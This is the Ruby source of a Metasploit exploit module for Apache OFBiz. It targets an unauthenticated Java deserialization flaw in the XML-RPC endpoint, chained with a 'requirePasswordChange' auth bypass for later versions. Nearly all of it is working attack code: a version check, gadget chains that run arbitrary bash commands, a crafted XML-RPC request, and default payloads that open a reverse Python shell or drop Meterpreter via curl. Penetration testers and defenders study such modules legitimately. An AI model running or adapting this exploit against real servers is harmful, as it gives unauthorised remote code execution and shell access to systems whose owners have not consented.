Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization.rb
31477 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::JavaDeserialization1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Apache OFBiz XML-RPC Java Deserialization',19'Description' => %q{20This module exploits a Java deserialization vulnerability in Apache21OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for22versions prior to 17.12.01 using the ROME gadget chain.2324Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-5146725and use the CommonsBeanutils1 gadget chain.2627Verified working on 18.12.09, 17.12.01, and 15.1228},29'Author' => [30'Alvaro Muñoz', # Discovery31'wvu', # Exploit32'h00die' # cve-2023-4907033],34'References' => [35['CVE', '2020-9496'],36['CVE', '2023-49070'], # auth bypass update37['CVE', '2023-51467'], # auth bypass update38['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],39['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],40['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'],41['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass42],43'DisclosureDate' => '2020-07-13', # Vendor release note44'License' => MSF_LICENSE,45'Privileged' => false,46'Targets' => [47[48'Unix Command',49{50'Platform' => 'unix',51'Arch' => ARCH_CMD,52'Type' => :unix_cmd,53'DefaultOptions' => {54'PAYLOAD' => 'cmd/unix/reverse_python_ssl'55}56}57],58[59'Linux Dropper',60{61'Platform' => 'linux',62'Arch' => [ARCH_X86, ARCH_X64],63'Type' => :linux_dropper,64'DefaultOptions' => {65'CMDSTAGER::FLAVOR' => :curl,66'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'67}68}69]70],71'DefaultTarget' => 1,72'DefaultOptions' => {73'SSL' => true74},75'Notes' => {76'Stability' => [CRASH_SAFE],77'Reliability' => [REPEATABLE_SESSION],78'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]79}80)81)8283register_options([84Opt::RPORT(8443),85OptString.new('TARGETURI', [true, 'Base path', '/']),86])87end8889# attempt to determine the version number. This attempt is flawed on versions90# < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page91# doesn't exist on versions < 17, so we just return back 'pre-17'92def version_from_login_page93res = send_request_cgi({94'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')95})96return nil if res.nil?97return 'pre-17' unless res.code == 20098# https://rubular.com/r/vputt9uJecevOk99if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}100return Regexp.last_match(1).strip101end102103'unknown'104end105106def check107# Send an empty serialized object108res = send_request_xmlrpc('')109110return CheckCode::Unknown('Target did not respond to check.') unless res111112if res.body.include?('Failed to read result object: null')113@version = 'pre-17'114return CheckCode::Vulnerable('Target can deserialize arbitrary data.')115end116117# newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz118@version = version_from_login_page119120return CheckCode::Unknown('Target did not respond to check.') if @version.nil?121return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'122123return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'124return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')125126CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")127end128129def exploit130@version = version_from_login_page if @version.nil?131132print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")133134case target['Type']135when :unix_cmd136execute_command(payload.encoded)137when :linux_dropper138execute_cmdstager139end140end141142def execute_command(cmd, _opts = {})143vprint_status("Executing command: #{cmd}")144145if @version == 'pre-17'146vprint_status('Utilizing ROME deserialization chain')147res = send_request_xmlrpc(148# framework/webapp/lib/rome-0.9.jar149# used with 15.12, but not 18.12 compatible150generate_java_deserialization_for_command('ROME', 'bash', cmd)151)152else153vprint_status('Utilizing CommonsBeanutils1 deserialization chain')154res = send_request_xmlrpc(155# framework/webapp/lib/rome-0.9.jar156# used with 18.12 compatible, but not 15.12 compatible157generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both158)159end160161unless res && res.code == 200162fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")163end164165print_good("Successfully executed command: #{cmd}")166end167168def send_request_xmlrpc(data)169# http://xmlrpc.com/170# https://ws.apache.org/xmlrpc/171request = {172'method' => 'POST',173'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),174'ctype' => 'text/xml',175'data' => <<~XML176<?xml version="1.0"?>177<methodCall>178<methodName>#{rand_text_alphanumeric(8..42)}</methodName>179<params>180<param>181<value>182<struct>183<member>184<name>#{rand_text_alphanumeric(8..42)}</name>185<value>186<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>187</value>188</member>189</struct>190</value>191</param>192</params>193</methodCall>194XML195}196197unless @version == 'pre-17'198request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/199request['vars_get'] = {200'USERNAME' => '',201'PASSWORD' => rand_text_alphanumeric(1..5),202'requirePasswordChange' => 'Y' # magic bypass string203}204end205206send_request_cgi(request)207end208209end210211212